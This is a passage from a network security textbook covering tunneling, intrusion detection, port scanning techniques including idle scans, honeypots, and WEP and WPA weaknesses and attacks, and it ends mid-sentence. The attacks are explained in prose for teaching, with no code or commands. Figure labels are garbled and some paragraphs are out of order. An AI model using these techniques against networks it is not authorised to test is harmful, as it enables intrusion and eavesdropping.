2 Tunneling Protocol (L2TP), was designed to replace PPTP and another
older tunneling protocol, Cisco’s Layer 2 Forwarding (L2F). The entire L2TP
frame, including both header and payload, is encapsulated within a UDP
datagram. Within the L2TP packet, a number of link-layer protocols can be
encapsulated, including PPP and Ethernet. L2TP is commonly used in con-
junction with IPsec to ensure authentication, integrity, and confidentiality.

Some Risks in Allowing for VPNs and Tunneling

While VPNs and other secure tunneling technologies solve one security
problem (i.e., how to communicate securely across the Internet), they ac-
tually can create another. In particular, one of the most common methods
to circumvent firewall policy relies on the use of tunneling. When using
a tunneling protocol, the payloads of a series of network packets are en-
capsulated in a different delivery protocol that might otherwise be blocked
by a firewall. Deep packet inspection is useless in this case (other than to
detect that a tunnel protocol is being used), since the payloads in a tunnel
protocol are encrypted.

For instance, an information-leakage attack, such as sending company
secrets out of a compromised network using HTTP packets, becomes more
difficult to detect when protocols relying on tunneling are used. Because
tunnel protocols are designed such that an eavesdropper cannot deduce
the contents of the encrypted traffic, no amount of deep packet inspection
can determine whether the tunneling is being used for a legitimate purpose
or whether it is being used as a wrapper for a forbidden protocol. As
another example of using tunneling to subvert firewall rules, suppose an
organization prevents users from visiting certain web sites from within the
internal network. If outbound tunnel connections are allowed, then an
internal user could establish a tunnel to an external server that routes HTTP
traffic to a forbidden web site on behalf of that user, and sends responses
back to the user via the same tunnel. Attackers can also use tunneling
to circumvent firewall policy for more malicious purposes. Therefore, it
is essential that care be taken when defining acceptable traffic policies for
users, especially in regards to protocols that could potentially be used for
tunneling.
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4 Intrusion Detection

An intrusion detection system (IDS) is a software or hardware system that
is used to detect signs of malicious activity on a network or individual
computer. The functions of an IDS are divided between IDS sensors, which
collect real-time data about the functioning of network components and
computers, and an IDS manager, which receives reports from sensors.

The IDS manager compiles data from the IDS sensors to determine if
an intrusion has occurred. This determination is usually based on a set of
site policies, which are sets of rules and statistical conditions that define
probable intrusions. If an IDS manager detects an intrusion, then it sounds
an alarm so that system administrators can react to a possible attack. (See
Figure 17.)

IDS Manager

Untrusted
I t tInternet

router

IDS Sensor IDS Sensor

Firewall

router router

Figure 17: A local-area network monitored by an intrusion detection sys-
tem (IDS). Solid lines depict network connections and gray dashed lines
depict data reporting responsibilities. Routers and selected computers
report to IDS sensors, which in turn report to the IDS manager.
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Intrusions

An IDS is designed to detect a number of threats, including the following:

• masquerader: an attacker who is falsely using the identity and/or
credentials of a legitimate user to gain access to a computer system
or network

• Misfeasor: a legitimate user who performs actions he is not autho-
rized to do

• Clandestine user: a user who tries to block or cover up his actions by
deleting audit files and/or system logs

In addition, an IDS is designed to detect automated attacks and threats,
including the following:

• port scans: information gathering intended to determine which ports
on a host are open for TCP connections (Section 4.4)

• Denial-of-service attacks: network attacks meant to overwhelm a
host and shut out legitimate accesses

• Malware attacks: replicating malicious software attacks, such as
Trojan horses, computer worms, viruses, etc.

• ARP spoofing: an attempt to redirect IP traffic in a local-area network

• DNS cache poisoning: a pharming attack directed at changing a host’s
DNS cache to create a falsified domain-name/IP-address association
(Section 1.3)

Intrusion Detection Techniques

Intrusion detection systems can be deployed in a wide variety of contexts
to perform different functions. A traditional network intrusion detection
system (NIDS) sits at the perimeter of a network and detects malicious
behavior based on traffic patterns and content. A protocol-based intrusion
detection system (PIDS) is specifically tailored towards detecting malicious
behaviors in a specific protocol, and is usually deployed on a particular
network host. For example, a web server might run a PIDS to analyze
incoming HTTP traffic and drop requests that may be potentially malicious
or contain errors. Similarly, a PIDS may monitor application traffic between
two hosts; for example, traffic between a web server and a database might
be inspected for malformed database queries. Finally, a host-based IDS

Network Security II

300



(HIDS) resides on a single system and monitors activity on that machine, in-
cluding system calls, interprocess communication, and patterns in resource
usage.

Network IDSs usually work by performing deep packet inspection on
incoming and outgoing traffic, and applying a set of attack signatures or
heuristics to determine whether traffic patterns indicate malicious behavior.
Some network IDSs work by maintaining a database of attack signatures
that must be regularly updated, while others rely on statistical analysis to
establish a “baseline” of performance on the network, and signal an alert
when network traffic deviates from this baseline.

Host IDSs usually work by monitoring audit files and system logs to
detect masquerading and misfeasant users who attempt unauthorized ac-
tions, and clandestine users who try to delete or modify system monitoring.
Such systems typically use heuristic rules or statistical analysis to detect
when a user is deviating from “normal” behavior, which could indicate
that this user is a masquerading user. Misfeasant users can be detected by
a system that has rules defining authorized and unauthorized actions for
each user. Finally, clandestine users can be detected by monitoring and
logging how changes are made to audit files and system logs themselves.

Passive IDSs log potentially malicious events and alert the network
administrator so that action can be taken. They don’t take any preemptive
actions on their own. On the other hand, more sophisticated reactive
systems, known as intrusion prevention systems (IPS), work in conjunction
with firewalls and other network devices to mitigate the malicious activity
directly. For example, an IPS may detect patterns suggesting a DOS attack,
and automatically update the firewall ruleset to drop all traffic from the
malicious party’s IP address. The most commonly used IPS is an open
source solution called Snort, which employs both signature-based detection
as well as heuristics.

An IDS Attack

One technique to evade detection is to attempt to launch a denial-of-service
attack on the IDS itself. By deliberately triggering a high number of intru-
sion alerts, an attacker may overwhelm an IDS to the point that it cannot log
every event, or at the very least, make it difficult to identify which logged
event represents an actual attack and which were used as a diversion. More
advanced techniques to evade detection force IDS developers to employ
sophisticated heuristics and signature schemes based on state-of-the-art
machine learning and artificial intelligence research.
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4.1 Intrusion Detection Events

Intrusion detection is not an exact science. Two types of errors may occur:
• False positive: when an alarm is sounded on benign activity, which is

not an intrusion

• False negative: when an alarm is not sounded on a malicious event,
which is an intrusion

Of these two, false negatives are generally considered more problematic
because system damage may be going unnoticed. False positives, on the
other hand, are more annoying, since they tend to waste time and resources
on perceived threats that are not actual attacks. The ideal conditions, then,
are as follows. (See Figure 18.)
• True positive: when an alarm is sounded on a malicious event, which

is an intrusion

• True negative: when an alarm is not sounded on benign activity,
which is not an intrusion

Intrusion Attack No Intrusion Attack

AlarmAlarm
Sounded

NYPD
03539480

NYPD
03539480

True Positive False Positive

No
Alarm

SoundedSounded

True NegativeFalse Negative

Figure 18: The four conditions for alarm sounding by an intrusion detec-
tion system.
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The Base-Rate Fallacy

Unfortunately, it is difficult to create an intrusion detection system with the
desirable properties of having both a high true-positive rate and a low false-
negative rate. Often, there are a small number of false positives and false
negatives that an intrusion detection system may allow.

If the number of actual intrusions is relatively small compared to the
amount of data being analyzed, then the effectiveness of an intrusion
detection system can be reduced. In particular, the effectiveness of some
IDSs can be misinterpreted due to a statistical error known as the base-rate
fallacy. This type of error occurs when the probability of some conditional
event is assessed without considering the “base rate” of that event.

This principle can be best illustrated in the context of intrusion detection
with an example. Suppose an IDS generates audit logs for system events.
Also suppose that when the IDS examines an audit log that indicates real
malicious activity (a true positive), it detects the event with probability 99%.
This is a high success rate for an IDS, but it still implies that when the IDS
examines a benign audit log, it may mistakenly identify a harmless event
in that audit log as malicious with a probability of 1% (which would be a
false positive).

The base-rate fallacy might convince an administrator that the false-
alarm rate is 1%, because that is the rate of failure for the IDS. This is not
the case, however. Consider the following scenario:

• Suppose an intrusion detection system generates 1,000,100 audit logs
entries.

• Suppose further that only 100 of the 1,000,100 entries correspond to
actual malicious events.

• Because of the success rate of the IDS, of the 100 malicious events, 99
will be detected as malicious, which is good.

• Nevertheless, of the 1,000,000 benign events, 10,000 will be mistak-
enly identified as malicious.

• Thus, there will be 10,099 alarms sounded, 10,000 of which are false
alarms, yielding a false alarm rate of about 99%!

Note, therefore, that in order to achieve any sort of reasonable reliability
with such an intrusion detection system, the false-positive rate will need to
be prohibitively low, depending on the relative number of benign events;
hence, care should be taken to avoid the base-rate fallacy when analyzing
the probability of misdiagnosing IDS events.
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IDS Data Collection and Audit Records

The input to an intrusion detection system is a stream of records that
identifies elementary actions for a network or host. The types of actions
that are present in such a stream could, for instance, include each HTTP
session attempted, each login attempted, and each TCP session initiated for
a network-based IDS, and each read, write, or execute performed on any
file for a host-based IDS. IDS sensors detect such actions, create records
that characterize them, and then either report such records immediately to
the IDS manager or write them to an audit log.

In an influential 1987 paper, Dorothy Denning identified several fields
that should be included in such event records:

• Subject: the initiator of an action on the target

• Object: the resource being targeted, such as a file, command, device,
or network protocol

• Action: the operation being performed by the subject towards the
object

• Exception-condition: any error message or exception condition that
was raised by this action

• Resource-usage: quantitative items that were expended by the system
performing or responding to this action

• Time-stamp: a unique identifier for the moment in time when this
action was initiated

For example, if a user, Alice, writes 104 kilobytes of data to a file, dog.exe,
then an audit record of this event could look like the following:

[Alice, dog.exe, write, "no error", 104KB, 20100304113451]

Likewise, if a client, 128.72.201.120, attempts to initiate an HTTP session
with a server, 201.33.42.108, then an audit record of this event might look
like the following:

[128.72.201.120, 201.33.42.108, HTTP, 0.02 CPU sec, 20100304114022]

The exact format for such records would be determined by the IDS designer,
and may include other fields as well, but the essential fields listed above
should be included.
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4.2 Rule-Based Intrusion Detection

A technique used by intrusion detection systems to identify events that
should trigger alarms is to use rules. These rules could identify the types of
actions that match certain known profiles for an intrusion attack, in which
case the rule would encode a signature for such an attack. Thus, if the IDS
manager sees an event that matches the signature for such a rule, it would
immediately sound an alarm, possibly even indicating the particular type
of attack that is suspected.

IDS rules can also encode policies that system administrators have set
up for users and/or hosts. If such a rule is triggered, then, by policy, it
means that a user is acting in a suspicious manner or that a host is being
accessed in a suspicious way. Examples of such policies could include the
following:

• Desktop computers may not be used as HTTP servers.

• HTTP servers may not accept (unencrypted) telnet or FTP sessions.

• Users should not read personal directories of other users.

• Users may not write to files owned by other users.

• Users may only use licensed software on one machine at a time.

• Users must use authorized VPN software to access their desktop
computers remotely.

• Users may not use the administrative computer server between the
hours of midnight and 4:00 am.

Rule-based intrusion detection can be a powerful tool to detect mali-
cious behavior, because each rule identifies an action that policy makers
have thought about and have identified as clearly being suspicious. Thus,
the potential for annoying false-positive alarms is low, because the policy
makers themselves have determined the list of rules. Each rule is there for
a reason—if administrators don’t like a particular rule, they can remove it,
and if they feel that a rule is currently missing, they can add it.

Nevertheless, there are some limitations that may allow knowledgeable
attackers to evade rule-based intrusion detection. In particular, signature-
based schemes are fundamentally limited in that they require the IDS
to have a signature for each type of attack. By performing attacks that
might not have a corresponding signature, or by obfuscating the payload
of packets containing malicious traffic, signature-based solutions may be
bypassed.
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4.3 Statistical Intrusion Detection

One of the main approaches to intrusion detection is based on statistics.
The process begins by gathering audit data about a certain user or host, to
determine baseline numerical values about the actions that that person or
machine performs. The actions can be grouped by object (that is, all actions
having the same object field), action, or exception-condition. Actions could
also be aggregated over various time ranges or in terms of ranges or per-
centages of resource usages. Numerical values that can be derived include:
• Count: the number of occurrences of a certain type of action in the

given time range

• Average: the average number of occurrences of a certain type of action
in a given of time ranges

• Percentage: the percent of a resource that a certain type of action takes
over a given time range

• Metering: aggregates or average-of-averages accumulated over a rel-
atively long period of time

• Time-interval length: the amount of time that passes between in-
stances of an action of a certain type

For example, a system might track how many times a user uses the login
program each day, how often a user initiates HTTP sessions, and the typical
time interval between times when a user checks his or her email account for
new mail. Each of these statistics is gathered and then fed into an artificial-
intelligence machine learning system to determine a typical profile for each
user and/or host that the IDS is monitoring.

The profile is a statistical representation of the typical ways that a user
acts or a host is used; hence, it can be used to determine when a user or
host is acting in highly unusual, anomalous ways. Once a user profile is in
place, the IDS manager can determine thresholds for anomalous behaviors
and then sound an alarm any time a user or host deviates significantly from
the stored profile for that person or machine. (See Figure 19.)

Statistical intrusion detection doesn’t require any prior knowledge of
established intrusion attacks and it has a potential ability to detect novel
kinds of intrusions. Since statistical IDSs rely on analyzing patterns in
network traffic, it would be difficult for an attacker to hide his behavior
from an IDS manager using such techniques. For example, a statistical IDS
could learn that a certain user is always out of the office (and not using her
computer) on Fridays. Thus, if a login attempt is made on her computer on
a Friday, it could be an indication of an intrusion. Likewise, a statistical
IDS could learn that a certain network server almost never initiates or
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Figure 19: How a statistical intrusion detection system works. Statistics
about a user are gathered over a sequence of days, and a user profile is de-
termined based on typical behaviors, as defined by an artificial-intelligence
machine learning system. Then, on a day when one of the measures is
highly unusual compared to the user profile, an alarm would be sounded.

accepts UDP sessions. Thus, an attempt to initiate a UDP connection to
this computer could be an attempt to perform some kind of attack.

The potential weakness of statistical methods, however, is that some
nonmalicious behavior may generate a significant anomaly, which could
lead to the IDS triggering an alarm. Such sensitivity to normal changes in
system or user behavior therefore leads to false positives. For example, if a
user has an upcoming deadline and suddenly decides to use a new program
a large number of times, this might trigger a false alarm. Likewise, if a
web server posts some popular content, like a study guide for an upcoming
exam, then its usage might exhibit benign behavior that is also anomalous.

In addition, a stealthy attacker may not generate a lot of traffic and
thereby might go unnoticed by a statistical network IDS, leading to false
negatives. For example, attackers may encapsulate malicious content in
benign network protocols such as HTTP, hoping that this traffic will be
ignored as ordinary network behavior. Thus, in practice, most intrusion
detection systems incorporate both rule-based and statistical methods.
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4.4 Port Scanning

Determining which traffic is permitted through a firewall and which ports
on a target machine are running remote services is a crucial step in an-
alyzing a network for security weaknesses. Any technique that allows a
user to enumerate which ports on a machine are accepting connections is
known as port scanning. Ports may either be open (accepting connections),
closed (not accepting connections), or blocked (if a firewall or other device
is preventing traffic from ever reaching the destination port).

Port scanning has a somewhat controversial legal and ethical standing:
while it may be used for legitimate purposes to evaluate the security of
one’s own network, it is also commonly used to perform network recon-
naissance in preparation for an attack. Thus, detecting port scanning is
a form of preliminary intrusion detection. One of the most popular port
scanners in use is nmap, which is available for both Linux and Windows.
An example nmap scan is depicted in Figure 20.

Figure 20: Performing a SYN scan with nmap.

Open ports represent a point of contact between the Internet and the
application that is listening on that particular port. As such, open ports are
potential targets for attack. If a malicious party can successfully exploit a
vulnerability in the host operating system or the application listening on an
open port, they may be able to gain access to the target system and gain a
foothold in the network that could be used for further exploitation. Because
of this risk, it is advisable to only open ports for essential network services,
and to ensure that the applications listening on these ports are kept up-to-
date and patched against recent software vulnerabilities. Likewise, admin-
istrators sometimes perform port scans on their own computer networks to
reveal any vulnerabilities that should be closed.
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As an example of the potential for exploitation, in 2003 a vulnerability
was discovered in a Windows remote service known as DCOM–RPC (Dis-
tributed Componenet Object Model–Remote Procedural Call). An attacker
could craft an exploit that caused a buffer overflow condition in this service,
allowing remote code execution and complete control of the target machine.
Preventing access to the port this service was running on would prevent
successful exploitation.

TCP Scans

There are several techniques for determining the state of the ports on a
particular machine. The simplest method of port scanning is known as a
TCP scan or connect scan, in which the party performing the scan attempts
to initiate a TCP connection on each of the ports on a target machine. These
attempts are done using a standard operating system call for opening a TCP
connection at a specified port. Those ports that complete the connection are
open, while those that don’t are either closed or blocked.

SYN Scans

Another common method is known as a SYN scan, in which the party
performing the scan issues a low-level TCP packet marked with the SYN
flag for each port on the target machine. If the port is open, then the service
listening on that port will return a packet marked with the SYN-ACK flag,
and if not, no response will be issued. On receiving a SYN-ACK packet,
the scanner issues a RST packet to terminate rather than complete the TCP
handshake.

Idle Scanning

One other scanning technique, known as idle scanning, relies on finding
a third-party machine, known as a “zombie,” that has predictable TCP
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sequence numbers. The attacker can use the zombie’s weak TCP imple-
mentation as a tool to perform a port scan on a separate target without
leaving any evidence on the target’s network. First, the attacker sends a
probe, in the form of a SYN-ACK TCP packet, to the zombie. Since this
packet was unprompted by the zombie, it will reply to the attacker with a
RST packet containing a sequence number. The attacker then sends a SYN
packet to the target he wishes to scan, but spoofs the source IP address
with that of the zombie machine. If the scanned port is open, the target will
reply to the zombie with a SYN-ACK packet. Since the zombie did not open
the connection with a SYN packet, it replies to the target with another RST
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packet, and increments its sequence number counter. When the attacker
probes the zombie again, it checks the received sequence number. If it has
been incremented, then the chosen port on the target is open, and if not,
the port is either closed or blocked. This process is depicted in Figure 21.
Since finding a zombie with predictable TCP sequence numbers may be
difficult, this scan is not often used in practice, but it provides an effective
way to scan a target without leaving any record of the attacker’s IP address
on the target’s network.

SYN-ACK 
Probe

Evil Client

(a)

Zombie

RST 
Response:

seq = x

(b)

SYN Probe, 
spoofed 

source IP

SYN-ACK
Response

RST 
Response:
seq = x + 1

Target

(c)
SYN-ACK 

Probe

RST 
Response:Response:
seq = x + 2

Figure 21: An idle scan: (a) The attacker probes a zombie with predictable
sequence numbers. (b) The attacker sends a spoofed TCP packet to the
target. (c) The attacker checks the state of the port by probing the zombie
again.
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UDP Scans

While these scans can gather information on TCP ports, a different tech-
nique must be used to check the status of UDP ports. Because UDP is a
connectionless protocol, there are fewer cues from which to gather infor-
mation. Most UDP port scans simply send a UDP packet to the specified
port. If the port is closed, the target will usually send an ICMP “destination
unreachable” packet. If the port is open, then no response will be sent. This
scan is not very reliable, however, because open ports and ports blocked
by a firewall will both result in no response. To improve the reliability of
the response, many port scanners choose to query UDP ports using UDP
packets containing the payloads for appropriate applications. For example,
to check the status of port 53, the default port for DNS, a port scanner might
send a DNS request to the target. This technique may be more reliable, but
it is less versatile in that it requires a specialized probe for each target port.

Port Scan Security Concerns

In addition to determining whether ports are open, closed, or blocked, it
is often desirable to gain additional information about a target system. In
particular, the type and version of each remote service and the operating
system version may be valuable in planning an attack. To accomplish this,
port scanners may exploit the fact that each operating system has slight
differences in its TCP/IP stack implementation and, as such, might respond
differently to various requests or probes. Similarly, different implementa-
tions and versions of remote services may have subtle differences in the
way they respond to certain requests, and knowledge of these differences
may allow port scanners to determine the specific service running. This
process, known as fingerprinting, is a valuable component of network
reconnaissance.

In the early days of port scanning, detecting port scans was simple,
since scans would normally proceed sequentially through all possible port
numbers. Such scans were then replaced by probing random port numbers,
which made detection more difficult but not impossible. For example,
a signature for a random port scan could be a sequence of connection
attempts made to different destination ports all from the same source IP
address. An IDS sensor configured with this signature would be able to
alert an IDS manager to a port scan from outside the network. Other port
scan detection rules can be defined by noting TCP connection attempts to
ports that are known to be closed, as well as port scan detection rules that
can be derived from the unique natures of the types of scans previously
discussed.

Network Security II

311



4.5 Honeypots

Another tool that can be used to detect intrusions, including port scans, is
a honeypot. This is a computer that is used as “bait” for intruders. It is
often placed on network in a way that makes it attractive, such as having
it configured with software with known vulnerabilities and having its hard
drive full of documents that appear to contain company secrets or other
apparently valuable information. (See Figure 22.)

Attractive contentAttractive content

Internet

Monitoring agent

Internet

OPEN
Honeypot
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yp

Less-attractive

Deliberate vulnerabilities
actually-used systems

Figure 22: A honeypot computer used for intrusion detection.

A honeypot computer is an effective tool for the following reasons:
• Intrusion detection. Since attempts to connect to a honeypot would

not come from legitimate users, any connections to a honeypot can be
safely identified as intrusions. Based on the way in which such con-
nections are initiated, an intrusion detection system can be updated
with the latest attack signatures.
• Evidence. Appealing documents on a honeypot computer encourage

an intruder to linger and leave evidence that can possibly lead to the
identification of the intruder and/or his location.
• Diversion. A honeypot also may appear to be more attractive to

potential intruders than legitimate machines, distracting intruders
from sensitive information and services.
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5 Wireless Networking

The Internet was originally conceived as a means for trusted parties to
communicate over a wired network. The advent of wireless networking,
however, has introduced many new challenges in providing security to
users who may be wirelessly transmitting information that may include
untrusted parties. Such challenges include the following. (See Figure 23.)
• Packet sniffers. It is much easier to perform packet sniffing in a

wireless network, since all the computers sharing a wireless access
point are on the same network segment.
• Session hijacking. It is much easier to perform session hijacking, since

a computer with a wireless adapter can sniff packets and mimic a
wireless access point.
• Interloping. A novel concern in wireless networking is an unautho-

rized user who is connecting to the Internet through someone else’s
wireless access point.
• Legitimate users. It is no longer possible to authenticate a legitimate

host simply by its physical presence on the local-area network; addi-
tional methods for authentication and authorization are needed.

Packet sniffingWireless Packet sniffing
(much easier)

Wireless 
access point

Session hijackingj g
(much easier)

Legitimate user
( d th ti ti

Interloper
(using someone else’s

(needs authentication 
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(using someone else s 
access point)

Figure 23: Security concerns in wireless networking.
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5.1 Wireless Technologies

As with all Internet traffic, wireless communications on the Internet make
use of the layered IP stack. In wireless networking, parties connecting to a
network are referred to simply as clients, while a wireless router or other
network interface that a client connects to is known as an access point (AP).

Instead of relying on the Ethernet protocol at the physical and link
layers, most wireless networks rely on the protocols defined by the IEEE
802.11 family of standards, which define methods for transmitting data
via radio waves over predefined radio frequency ranges. In particular,
802.11 defines the structure of wireless frames that encapsulate the higher
layers of the IP stack. To allow greater flexibility in handling both wired
and wireless data, most TCP/IP implementations perform reframing of
packets depending on their intended recipient. For example, wireless traffic
received in the form of 802.11 frames is converted into Ethernet frames
that are passed to higher layers of the TCP/IP stack. Conversely, Ethernet
frames to be routed to wireless clients are converted into 802.11 frames.

Wireless Networking Frames

There are several different frame types defined in the 802.11 standard. First,
an authentication frame is used by a client to present its identity to an
access point. If this identity is accepted by the access point, it replies
with another authentication frame indicating success. Next, a client sends
an association request frame, which allows the access point to allocate
resources and synchronize with the client. Again, if the client’s credentials
are accepted, the access point replies with an association response frame.

To terminate a wireless connection, an access point sends a disasso-
ciation frame to cut off the association, and a deauthentication frame to
cut off communications altogether. If at any point during communications
a client becomes accidentally disassociated from the desired access point
(if, for example, the client moves to within range of a stronger wireless
signal), it may send a reassociation request frame, which will prompt
a reassociation response frame. These frames are collectively known as
management frames because they allow clients to establish and maintain
communications with access points.

There are three additional common management frames that allow
clients and networks to request and broadcast their statuses. In particular,
access points can periodically broadcast a beacon frame, which announces
its presence and conveys additional information to all clients within range.
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In addition to these management frames which set up and maintain
communications, data frames encapsulate the higher levels of the IP stack,
and include content from web pages, file transfers, and so on.

5.2 Wired Equivalent Privacy (WEP)

Because wireless networks communicate via radio waves, eavesdropping
is much easier than with wired networks. In an eavesdropping scenario
on a wired network, an attacker must gain access to a physical network
interface on the LAN, but when communications are wireless, anyone with
appropriate equipment (including most wireless cards) can capture and
inspect traffic being sent over the air. The Wired Equivalent Privacy (WEP)
protocol was incorporated into the original 802.11 standard with the goal of
providing confidentiality, integrity, and access control to a wireless LAN.

WEP Encryption

WEP encrypts each data frame using a stream cipher, which is a symmetric
cryptosystem where the ciphertext C is obtained as the exclusive OR of the
plaintext message M and a pseudo-random binary vector S generated from
the secret key, called keystream:

C = M⊕ S.

The essence of a stream cipher is the method for generating a keystream
of arbitrary length from the secret key, which serves as a seed. (See
Figure 24.) For a stream cipher to be secure, the same keystream should
never be reused or else the attacker can obtain the exclusive OR of two
plaintext messages, which enables a statistical attack to recover both the
plaintext and the keystream.

Message

Keystream



Seed

Keystream
Generator

Ciphertext

Figure 24: Encryption with a stream cipher.

WEP uses the RC4 stream cipher, which is simple and computationally
efficient and supports a seed with up to 256 bits. The seed is obtained by
concatenating a 24-bit initialization vector (IV) with the WEP key, a secret
key that is shared by the client and the access point. In the first version
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of WEP, the WEP key had 40 bits, resulting in a 64-bit RC4 seed. Later
versions of the protocol extended the key length, resulting in a seed of 128
bits, and eventually 256 bits. To allow decryption, the IV is transmitted
together with the ciphertext. The access point then concatenates the IV with
the WEP key, generates its own keystream, and computes the message as
the exclusive OR of the ciphertext with the keystream. In order to prevent
reuse of keystreams, IV values should not be reused. However, the WEP
standard does not require access points to check for and reject reused IVs,
a vulnerability exploited in several attacks.

For integrity protection, WEP augments the original message with a
CRC-32 checksum, which is the output value of a hash function applied to
the message. Since CRC-32 is not a cryptographic hash function, it protects
the integrity of the message only against transmission errors. Some attacks
on WEP exploit this weakness of CRC-32.

WEP Authentication Methods

WEP can be used with two basic authentication methods, open system
and shared key authentication. When using open system authentication,
the client does not need to provide any credentials and can associate itself
with the access point immediately. At this point, the client can only send
and receive information from the access point using the correct encryption
key—if the correct key is not used, the access point ignores the client’s
requests. In contrast, shared key authentication requires the client to prove
possession of the WEP key to the access point before associating with the
access point. The access point sends a plaintext challenge to the client, who
encrypts it with and sends the ciphertext to the access point. If the received
ciphertext decrypts correctly to the challenge, then the client is allowed to
associate with the access point.

Attacks on WEP

Intuitively, it may seem as shared key authentication provides stronger
security, but in reality this is not the case. Because the challenge is sent
to the client in plaintext and the response includes the unencrypted IV, an
attacker who intercepts both the challenge (transmitted as plaintext) and
response can easily recover the keystream used by XOR-ing the encrypted
data frame with the plaintext challenge. The IV and keystream can be later
reused for authenticating the attacker or injecting packets on the network.

However, even in open system mode, WEP turns out to be insecure. It
has been shown that in a large set of RC4 keystreams, the first few bytes of
the keystream are strongly nonrandom This property can be used to recover
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information about the key by analyzing a high number of ciphertexts. To
apply this attack to WEP, one needs to recover several thousand encrypted
packets along with their IVs (at the time of this writing, the most recent
attack can recover a WEP key with 50% probability using 40,000 data
packets). If the network is not extremely busy, acquiring this many packets
may take a very long time.

However, it is possible for an attacker to authenticate and associate to
the access point (in open system mode, this does not require the WEP key),

On an idle network, capturing an ARP packet from a client may be
difficult, especially if new connections are made infrequently. To speed
up the process, an attacker can associate with the network and then send
a deauthentication packet to the client, posing as the access point. The
client will dutifully deauthenticate from the access point and reauthenti-
cate, issuing a new ARP packet that can be captured by the attacker and
retransmitted.

Another technique allows an attacker to decrypt WEP encrypted pack-
ets by exploiting the way in which the insecure CRC-32 checksum is han-
dled. Recall that the CRC-32 checksum is appended to the data of the packet
before encryption. Most access points silently drop packets with incorrect
checksums. A technique known as the chop-chop attack uses this property
of the access point to verify guesses of the packet contents. Essentially, the
attacker truncates the data of the packet by one byte and corrects the CRC-
32 checksum under the assumption that the dropped byte was a guessed
byte x. This new packet is sent to the access point, and it will generate
a response only if the guess x for the byte was correct. This guessing is
repeated until the last byte is successfully guessed, at which point one byte
of the keystream has been recovered. The entire process is then repeated
until the entire keystream is recovered, at which point an ARP packet can
be forged, encrypted with the keystream, and reinjected.

One final technique to compromise WEP security relies entirely on
wireless clients, and requires absolutely no interaction with the targeted
access point. The caffè latte attack, named for the fact that it could be
used to attack clients in coffee shops with wireless access, relies on the
fact that many operating systems feature wireless implementations that
automatically connect to networks that have previously been connected to.

Network Security II

and then capture a single ARP packet from another client on the network.
The attacker can then repeatedly transmit this packet to the access point,
causing it to reply with a retransmission of this ARP packet along with a
new IV. This attack is known as ARP reinjection, and can allow an attacker
to quickly capture enough IVs to recover the WEP key, at which point full ac-
cess has been achieved and the attacker can perform additional attacks such
as ARP cache poisoning.
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The attack takes advantage of this fact by listening to wireless traffic and
identifying networks that a target client is attempting to connect to. The
attacker then sets up a honeypot or soft access point, a fake wireless access
point with the same SSID as the AP the client is attempting to connect to,
designed to lure in transmissions from the victim.

Recall that no stage of WEP authentication requires the access point
to possess the WEP key. The client transmission is checked by the AP to
confirm that the client possesses the key, but at no point does the client ever
confirm that the AP has the key. As a result, the victim client in the caffè
latte scenario associates and authenticates to the honeypot AP and sends
a few ARP packets encrypted with the WEP key. However, in order to
retrieve the WEP key, the attacker must have a high number of encrypted
packets. To trick the client into sending these packets, the attacker takes the
encrypted ARP requests received when the client connects to the honeypot
AP and flips several predetermined bits. Specifically, the bits referring
to the Sender MAC and Sender IP address are modified, and the CRC-32
checksum is recomputed using the chop-chop technique. This results in a
valid encrypted ARP request with the client as the intended destination.
The attacker then repeatedly sends this valid encrypted ARP request to
the client, resulting in the client responding with enough encrypted ARP
replies for the attacker to break the WEP key. After recovering the key, the
attacker could modify the honeypot AP to actually use the key, allowing
them to sniff and potentially modify traffic from the client, as in a man-in-
the-middle scenario. The advantage of this attack over previous methods is
that it does not require any interaction with the actual vulnerable wireless
network. An attacker could use this technique to break an organization’s
WEP key without needing to be anywhere near the AP, as long as a client
who had previously authenticated to that network was available.

5.3 Wi-Fi Protected Access (WPA)

Once the weaknesses in RC4 and WEP were published, IEEE quickly devel-
oped new standards that met more rigorous security requirements. The Wi-
Fi Alliance then developed a protocol based on this standard known as Wi-
Fi Protected Access (WPA). WPA is a more complex authentication scheme
that relies on several stages of authentication. First, a shared secret key is
derived for use in generating encryption keys and the client is authenticated
to the access point. Next, this shared secret is used with an encryption
algorithm to generate keystreams for encrypting wireless traffic. Finally,
messages can be transmitted safely.
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Authentication

WPA features two basic modes: PSK (preshared key) mode, also known
as WPA Personal, is designed for home and small office applications,
while 802.1x mode, also known as RADIUS or WPA Enterprise, is ideal
for larger networks and high-security applications. In 802.1x mode, a third-
party authentication service is responsible for authenticating the client and
generating key material. WPA allows integration with several choices
for authentication mechanisms, each belonging to a framework known as
the Extensible Authentication Protocol (EAP). The selected mechanism is
invoked by the access point, and is used to negotiate session keys to be used
by the client and access point during the next stage. 802.1x authentication
protocols can make use of certificates and other elements from public-
key cryptography to guarantee security. In PSK mode, a shared secret is
established by manually entering a key into both the access point and the
client.

Encrypting Traffic

The client and access point use the newly generated encryption keys to
communicate over a secure channel. WPA has two possible protocols for
encrypting traffic. The Temporal Key Integrity Protocol (TKIP) makes use
of RC4 and was designed to provide increased security over WEP while
remaining compatible with legacy hardware. Newer hardware supports a
standard called WPA2, which features a stream cipher based on AES and a
cryptographically secure MAC based on AES for message integrity.

TKIP attempts to address the cryptographic weaknesses of WEP’s RC4
implementation. WEP is especially weak because it simply concatenates the
IV with the encryption key to generate the RC4 seed. TKIP remedies this
by increasing the IV length to 48 bits and by incorporating a key-mixing
algorithm that combines the key with the IV in a more sophisticated way
before using it as an RC4 seed to generate a keystream. In addition, TKIP
replaces the CRC-32 checksum with a 64-bit message integrity code (MIC)
computed with the MICHAEL algorithm, which was designed to serve as

When an access point receives a packet with a nonmatching MIC, coun-
termeasures such as alerting a network administrator or regenerating the
PTK may be invoked. Finally, TKIP implements a sequence counter in the
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a mesage authentication code (MAC) computed from the message and a
 secret 64-bit key. The MICHAEL algorithm has been shown to be crypto-
graphically insecure. However, attacks against MICHAEL are much more
difficult to accomplish than attacks against CRC-32.
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packets to prevent replay attacks. If a packet is received out of order, it is
simply dropped.

TKIP provides many improvements over standard WEP encryption, but
its use is now deprecated in favor of the newer WPA2 protocol. While
TKIP relies on the RC4 cipher and MICHAEL algorithm (both efficient
but cryptographically weak), WPA2 instead uses the strong AES cipher for
protecting both integrity and confidentiality. The AES cipher has not been
broken as of the time of this writing.

Attacks on WPA

Currently, WPA in 802.1x mode is considered secure. However, PSK mode
may be vulnerable to password cracking if a weak password is used and an
attacker can capture the packets of the initial four-way handshake that au-
thenticates the target to the access point. Once this handshake is captured,
the attacker can launch a dictionary attack against the encrypted messages.
However, this attack is made more complicated by the mechanism used
